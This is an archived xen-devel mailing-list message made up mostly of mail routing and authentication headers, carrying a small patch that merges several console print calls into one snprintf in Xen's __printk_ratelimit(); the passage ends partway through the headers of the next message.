 MW1PEPF00016160.mail.protection.outlook.com (10.167.249.91) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.3
 via Frontend Transport; Wed, 15 Jul 2026 20:19:20 +0000
Received: from pps.filterd (m0426316.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66FKICXs3692040
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:19 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [44.208.76.22])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fe3eu8x7b-2
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:19 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id k64cwNIqit7Zdk64cwpKGU; Wed, 15 Jul 2026 20:19:19 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=XKa
	FHZ5ktm+3TGN1OySPqg+Yp5lz/RpEQwE5SjNSLQc=; b=tgk3ysLcubjh3373S3W
	mYn956Z+/NNAiRzSfd420wyNT2rmFm7pgpqiH3SlyUeZncr3hoE5GcV5JdSEu5DT
	G6uHpB82RkK9/rc6Qi6bQufobAApn00fX4odkj/hg3Xn8nVPWtOmuRTtv9I2W1zk
	3KtZlRRH2N2aeNI9B4K0/tAieNAqW+gJ2u9W+nYAnxuDlLL93ooKW9zoWl9huf/N
	FVT67Q7K3rbeKpOK097ps6LVsDhxnadAVlumBQnm6+W+gGk2suPmLbkiuajNQdG3
	iBV/YB6fhFYhj8UGf4EXZXtK8UHDX7O1yt863RGJy3yHmQP0MCqjpEMbsfh6XhSS
	G5A==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=kWJS/Dd9l/tB1h1V0FjIFQwSvQ+l0JUEjnv1DVwi4xtZPNS/uNyVOYqOv4HNvsXRg0cssNvKLeGJKJHtRR0j4pA1V/9qUU/gNwppUkQ3mvhW0kEGHmgCGVP6andkK9G3O2mpevlIqeH3eR/JYSNjAxgnDZCWWsa6AfpxaHUti4QEyLISG2weLNMgQznihgza+wPwvXC/eW99j8XQ17lLBXNxq+y2BAxbeI5O5J+nlFOq+ykjpfhA2crOpp4im1ix4OQhKv+vGp3DXqdSZ2oSVTzNW3LtVAY+rDU9oKK8uiEDO49ZJ9erEJPMhO6tai00a6Gf9b91ESN7vyymkEsPyw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=XKaFHZ5ktm+3TGN1OySPqg+Yp5lz/RpEQwE5SjNSLQc=;
 b=SuHfF9TDVD3teGaqxrHFXteZ9/g+ONVrLe7udpdyWHAhF+BuN5oucK9JGD6aOXnqYg7qT/wk4kobudhcr0VA7bvRZm2D0iInQ4zxU+yb1deZoyJXdH4XZc0Nc86KwGme4pq59b1+BnA9ojPyCcZDfAQpBTuoe8ayH9Q8k0qsksAf8hr48+2cgH53deglpXV95hHz1x2DHtHgWyqRC9I0DEbF/PK9ScAB8MMJzOg6YX0qF0inx+oSD9fr1wJc4lQL7QKBGUry+wO3rLIpYs1jML9GFMzmBQK5ph3DMB2GZIdbITv+iVR5LK3qikKiN7lkZ5PHdSEePoQ4gTRY+rUqKg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=XKaFHZ5ktm+3TGN1OySPqg+Yp5lz/RpEQwE5SjNSLQc=;
 b=gMPALN7uSX+1yU+21G6f7e5DVgB/nLuyGaiyNIa2ML/u/vcS+qibH1IAIUlnLkNz5RVtpGSZhs4Av8sZ7f+pIONNss8g380L2iDwZN+Zf9sxiDdGWO97NThfiAwjg6cIwtCBGl1XrByKaqbHbksELj+BQ1FxbbilOCbsRVK/PUE=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=XKaFHZ5ktm+3TGN1OySPqg+Yp5lz/RpEQwE5SjNSLQc=; b=
	jBNopuUzoEw4KlEvtgSY2G/lFiy2hZSKbzlw0ZiE+krmaaMltER3xCoFoOYmo4NJ
	HknpBpCdaOUsCb5CxZDa/in88TQ+PhckX6jwZpCcVyzMYZnOJuJkOHZ0g9iQXo/e
	V8T2Yrm63ExOXy5LpImNyijMu3JwZd8kElbK9XiPXujG+HEWp4KzGJ3OzfwTCXZ2
	bLkANi8pe0DyB7CTLj72lN1+itp48CzrntJZQCXzpmIprSYfbTj2mLKuL6ZAFytS
	aqkfeJLcji6mQOQuGd/9U/9Ag3sRkkQLK0Wt+PSprTrCH3zqFfP4ovyNyJdUQccv
	bMIzOxPMINJeoxBRbED60w==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=XKaFHZ5
	ktm+3TGN1OySPqg+Yp5lz/RpEQwE5SjNSLQc=; b=sfyBX2T9h7VTsMwuJdBe8t+
	gUgQ88rLwbBpFL/bNtNre2P+wkyF9IPUHF6BdLYmugmVZfNcuXx9zcb+CVh3u0At
	3gS/dK2Opk9ya5rIuh0R3ypkWw81hCqg3v6lMBXmzS7L/fQdLINGu51xgCNErByQ
	dhRiCkfJoNlNSQdK9sUdZzGrahjyyk7ziuuVZqqcYHQKK+nNCLXHlEdWFREkAioT
	zrcU8C8ESzEJx7ly49PFLzTUNVns3NqkFUqG8jZL/jgA3WdgdwGC0xgssx9XSc8i
	tczS36scu6tuxzc959L/ZCVKYSoJzc2YYTlFpQWinrHkuSqErZ2nHmAjGTTH6gA=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: k64cwNIqit7Zdk64cwpKGU
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v3 4/4] xen/console: reduce number of printouts in __printk_ratelimit()
Date: Wed, 15 Jul 2026 13:19:02 -0700
Message-ID: <20260715201902.2984407-5-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260715201902.2984407-1-dmukhin@ford.com>
References: <20260715201902.2984407-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 spamscore=0 suspectscore=0 malwarescore=0 phishscore=0
 adultscore=0 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607150203
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: MW1PEPF00016160:EE_|BN7PPFA29DF5524:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: 6f4f2a51-71c6-4fd3-2e1f-08dee2ae5af6
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|1800799024|82310400026|36860700016|11063799006|10067099003|22082099003|18002099003|56012099006;
X-Microsoft-Antispam-Message-Info:
	Qv3aKrE7zD+x+lU58CMmCmFrBbr4Xytjo21ICoTSSdITmV1LSMyS6nBK4BWREt12T2OP9Em7iFtbM1HQtaU6sX1mW2UINWKIA8dicJBV1P0AYyaCgmdYo7y5NdbZS5EDgnIZUVOTtyfoCgThTJfqK5GA/LOioqyrXK5my8Lfc/26VHumjoRQPXGq6lT/F174hjXICZ32rsvc1SJP88mF1o8unsihVg92v4mob+Xby+TNs6MxCLIOzMZDXfjLAXFdK8KytJIhn/OSmOOB6oxslZWuwUviW7tBDju/jAX2B3Io1wH/9rozMRbll/obHzgSRGZfWoxhk9FpqTEo1Xz/uIrkrhgxWyiyFEWWGhLuOcYGm5p2A3CeOc+9FCHgE5CEXASJfuY77PhZiwy414JGoP+QR6zkIUN7kHkT6DxcMU9ZAu5KuPY5BH7lnGGvJYkxC3D+ldDHqt0PbnZ8sED5pF/o6yBCxRRV2ngXc3w/xV6mxJ5yOIsEaeJhOEybIoKZlMHuWxFS5sMoNyH8Krf6mlV5j7j9q9ogz+ZKhuBzvHdXXwUifAEgpCVVhyB1mZ4X6wxpNwI4RJuGGSSv6LQtfT2NtHXWsAhFwI5UiKm2lYgRASPUmApCOp5FDIUAhzLaKUPurBsqY8/WyJfcL9tq4biNL9lr79WWmTcI0ckiZf+57y3dXdgyjBwWQLACHBaYZNAAY/lcmrwsKA1NslmOcA==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(23010399003)(376014)(1800799024)(82310400026)(36860700016)(11063799006)(10067099003)(22082099003)(18002099003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	gB+aI3OMu81+82LlWosYb84boIihlvyrRG51Mo2/AnBLvRDZCS51dhiy2V6JQOjc0Ap1dT4IB0VVA8Rs8geAntXHxa1cX+bbXEaidZKer/TVimJ44hHv7GDS924/dvK7h/GrxdHYsp1BkKHIEa2ObsT+7RQAk+rMLrWK0gGNN8M3+fA5VNRXHf8CvANT71u59Ax7JQJ6BbZjyzyXBjs0JByytqZ3n55vwKd//tOsfI1Fi8GJLYZHNFcGZLOM6KkPRV3Dy2g09EUlOsJGjb37YP9EHo+Coe5+SnaW0ivGPwl2qbbaKWuUeMOjkWoWGwPjkIeiLyzBbJr/EebjzTpbi41KyWhJ3+CUB8xIfUzyXYFGCne8md2o2AH8qukH/TXoWsDd2njpsQZmq2pvlHmuKfCLQWB5pBupGROm9vt0JcHhY0UDgdg33uvILIZtYF/C
X-Exchange-RoutingPolicyChecked:
	CwyWUS/rQKTCsD6SORJi26m/l/68TVIdDLKw9PS6/ZLqUy2ZOeYgyBQQX6v0TMqrGfFd8A6hW9ePpxNBletbl6JbFtBTniG44SpgdZzgtbgX4VYLQmIXWB4lpLsS31KTr3PXf8b17H4xC8m5HyXb+XvSh9WuCWT6SLoeIN/N5mzHFBnX21zCDcymqHvCc6nTydVaXLfzqEEEXIlv06G4H9fiyLo4XIMfXJAacsIorawwK1n/WJCpPZnjwFzhBe+EMWjZwHJb4zbgnYWUSeFZ3+XUWGot3trHOgEc2R7bRY7FtZKx+vGLVCt1BY25qD9kdNlbwXMXjCa1LG8UmWM3tg==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	62ivYL23q/JaHMW7lGBZ3gOVcRm6nnbZljedx1mrpVb5aMggcJt3sbV7MU2iuqaRCS9Zge8GE3Bjw2tVuLUoAIxA35hM/oxvNz/KF7QhItbkNy4lE9GEOpJtbsbbB8odxeLESN29YSKxaUm9ZBz7hOsasusm6BSZfZ1AyNhHoq8APcSYZhFkbriphismFuvuqB9wjDpl+Nz//5lLTHSw1fG3mADwE4spI49OOht0V2bifCxExI7V/09sCCOdnnPPSz9c8geTNbmmQuX6dmFJlcc03VAdsYwocw4idk7QgeGy1C+CgfWl6HfM17Ve/2//WoXX7Kq/d6NJCASs2Nn1eE+SFENgaXanUAJAn7J6OzaDAQdpb4F0ckDt5tNJszcGXUgYXE/enKgIgAiJ0jWEoPONdjOrgxK+zBX1m9K5jVEd45kfMldl3LqOyYDN6Fx03N9eR3IFcJGzXe+TqX3KDJDPrEQ7nTJJ5oPLPxFIQdsxj9zyf15UoE2woeXd/6I9EFqZRvPL4QnslWXYzVkQhwnDC7zjCi1/eUCJ2gta2Llo/DBqrjloMOv2znikrXAwEYoPoFmR9jmgAgdH+varmAChsZm9bZl7tLtdQV3zuyS0tq7T87FRmjMnKodNEG2o+YnuM10OzJDBnG3k7IpFWg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 15 Jul 2026 20:19:20.8616
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 6f4f2a51-71c6-4fd3-2e1f-08dee2ae5af6
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	MW1PEPF00016160.namprd21.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BN7PPFA29DF5524
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX53llkCD60Cwd
 k1NiZlOLv18KUWyMlaLseZlYfMfp+cvgEX2y4I03xhhBg8+KbZsTgqwMFAd/dIEU4DHnFjDFBJT
 6VJrQ1dN5YjIvdfpldB29pg4ejQFPa8YYJDg3I9SQeK6zad09vGFUs2g94a7mnQlXDiRfdweQO1
 FVS6ug+R5LqP5Iu2KUminhHKt2Sa00WkBlfOOTF189C2vtL8M0b+/q864qco8yc6jya6m6zV9h8
 mXrVUhlwKwlGcarZbOL8HZwBUinvAQ4Q897DRc3mp5p/Nz8e8EDc4/s+gQMszvQTs/fPyXuVmXG
 3TMoXHX0qJvZKS+69T1cm4kBu0aVfpRckcnfCvwGejrAjB4NtbGTrKHMKs2sOr6xvtg+kkozJPj
 c7elTvTTj64vs9C8RcLI8EzVY/pezh3+60fK90zdZe52Jp819Bw/J9D+GUXmwk1DI5TwheNciy+
 2f5x7FvgpdnyZd5ElQQ==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX9QnBnc6MfkIv
 NsZR7lKU8c2TURKxf4ee2k3CvW+uUSEkOYyyACuj8h6/7ZZZbPATCxDRRZB+YViBgW8jHNDBSF5
 JxAMXnUlpBqRGAygNpw+fTC1mugGCTXZNV9RJJyT3XzSrRJdiS2x
X-Authority-Analysis: v=2.4 cv=CLQamxrD c=1 sm=1 tr=0 ts=6a57eb5b cx=c_pps
 a=IN6nX5sQGDwae/9PVKyrlQ==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=ARvDHhclS48edyKYUbLB:22 a=cbNQJ9GKAAAA:8
 a=nlmiSLwtRF1c0idvFr8A:9 a=3whSkbs7g9Me0DR5EJEX:22
X-Proofpoint-ORIG-GUID: jBS_ScyMz9JqfBdQaqiRzdGD9M5RlcEf
X-Proofpoint-GUID: jBS_ScyMz9JqfBdQaqiRzdGD9M5RlcEf
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0
 suspectscore=0 adultscore=0 malwarescore=0 lowpriorityscore=0 impostorscore=0
 clxscore=1015 phishscore=0 priorityscore=1501 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607150203
X-purgate-ID: tlsNG-d25034/1784146782-766DEA5B-040E90D0/0/0
X-purgate-type: clean
X-purgate-size: 1370

From: Denis Mukhin <dmukhin@ford.com> 

Fold several __putstr() calls into one around notification of how many
messages have been rate-limited.

Not a functional change.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v2:
- corrected the commit message
---
 xen/drivers/char/console.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index a9520f5521e4..f9a565fc59bc 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -1303,15 +1303,15 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
         spin_unlock(&ratelimit_lock);
         if ( lost )
         {
-            char lost_str[10];
+            char msg[64];
+
+            snprintf(msg, sizeof(msg),
+                     "printk: %u messages suppressed\n", lost);
 
-            snprintf(lost_str, sizeof(lost_str), "%u", lost);
             /* console_lock may already be acquired by printk(). */
             rspin_lock(&console_lock);
             printk_start_of_line(CONSOLE_PREFIX);
-            __putstr("printk: ");
-            __putstr(lost_str);
-            __putstr(" messages suppressed.\n");
+            __putstr(msg);
             rspin_unlock(&console_lock);
         }
         local_irq_restore(flags);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 20:19:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 20:19:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363314.1615062 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk659-0007Bz-Ew; Wed, 15 Jul 2026 20:19:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363314.1615062; Wed, 15 Jul 2026 20:19:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk659-0007Bs-By; Wed, 15 Jul 2026 20:19:51 +0000
Received: by outflank-mailman (input) for mailman id 1363314;
 Wed, 15 Jul 2026 20:19:49 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wk657-00077q-AV
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 20:19:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wk656-00Ey8o-N7
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 22:19:48 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb3b-e002-0a2a0a5209dd-0a2a4502dd1a-44
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:48 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb62-6ca4-0a2a45020019-94a392177e0a-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:48 +0200
Received: from pps.filterd (m0482516.ppops.net [127.0.0.1])
 by m0482516.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66FKJYlO3546465
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 13:19:46 -0700
Received: from bn8pr05cu002.outbound.protection.outlook.com
 (mail-eastus2azon11011059.outbound.protection.outlook.com [52.101.57.59])
 by m0482516.ppops.net (PPS) with ESMTPS id 4fed2sjwcu-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 13:19:37 -0700 (PDT)
Received: from MW4PR04CA0069.namprd04.prod.outlook.com (2603:10b6:303:6b::14)
 by CO6PR16MB4244.namprd16.prod.outlook.com (2603:10b6:303:a1::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.12; Wed, 15 Jul
 2026 20:19:19 +0000
Received: from CO1PEPF000075F3.namprd03.prod.outlook.com
 (2603:10b6:303:6b:cafe::24) by MW4PR04CA0069.outlook.office365.com
 (2603:10b6:303:6b::14) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.11 via Frontend Transport; Wed,
 15 Jul 2026 20:19:18 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 CO1PEPF000075F3.mail.protection.outlook.com (10.167.249.42) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Wed, 15 Jul 2026 20:19:18 +0000
Received: from pps.filterd (m0426318.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66FK4oGS3704206
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:18 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc493n4ts-6
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:17 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id k64YwJyRWwVVek64ZwDAR4; Wed, 15 Jul 2026 20:19:17 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=9Yp
	smNRekS9oIq3/N3tPLgQiNEBPnt5Dveap4jDXsoM=; b=G8cRa6H/oGekBfploDl
	YiNbfB3Wi5LdAu/h0yFRH6/TG1eGqQeyiHYGuV88L7O36o0zVJ0Z7pKq1aRqxwT9
	r0mfZR4L+oixHd9fX+WAYcwzY9YJY72CObwhDL2DCzaz6DDHzrwe3yNQKd9iR2DW
	Zbyj9E5KFmCqaSxN3TC2M0sC4G6ZxN8QDei6nUkuzpZzLVpZ1LrftOnGYVQHTuOj
	mbJNBc+lQQYn7VwaylB1EvYXkoHRD09OZFacJHT8r/c4aCjhqc6qiOdq6EMBEhAQ
	70jPTAHMC2RvogGTPNYQXXCmJVvtAMgcvZYGCpIUJaXSHvLT6wWf7HaIuwImfPlZ
	0vw==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=PU5UlXHOZrK6c159v02c2a96m+hjGcJJ4v7FwXFq95doNEmfgYEKbJDRvwPJkfnhgi+BqZBsskeZirSd3enWj1e/edDHhc4ZwunDTO5heoxGGut0G3kTyrdsqSCw6nYjqu+Bhw1HdWEgscZhFOQyBRajR6PWX8Pz+LLLjBR0OezMIBGtT6PyhwiPwHUF5DrwBrCfgpQ0qOjbdRtp+NQ2HK2R1Ar7HW8wy6vDpDNg9ooFcxdAHSHdmbMcZBWR2qo8UVIdiFGaj9xcV28yJiagTK3QRt2AcHkjlttoVaTZWJ0WluJ23JLQ/vfFnlsJKGnJNtcPKQnoT+l6rshDuRdw+A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=9YpsmNRekS9oIq3/N3tPLgQiNEBPnt5Dveap4jDXsoM=;
 b=CGCSmW2GaGlmYYVHqvyb2uM0tkeCqd6Gc41PC2p/EqLrghol8LKvMa20aLh+6BkFmvzYz6lwotRIglqsJy4HGEQ6wF8I+tgowur7ymf+uu61UapsMZUzKZKaJbBGOH4pxgRdX2Ozrpi2bBtpBmpoos52P7dhabwC0cs2FvmcjShWfTAIu+jQ/pi0DWoZr7Me9+t8VHRuDZC9OpMSHlDFKHEfsAZznEJOTAIYJiTiOcka5YJ6/US1FQcTwlbBiZCsX8c1lwUFBYo6ea+BlhtySKiCB0mn1+A3fMn2UwToWMe2SGWsih3XwFZJvuIPrBlHRKRLreh2r2MIv8jnFiDfSA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
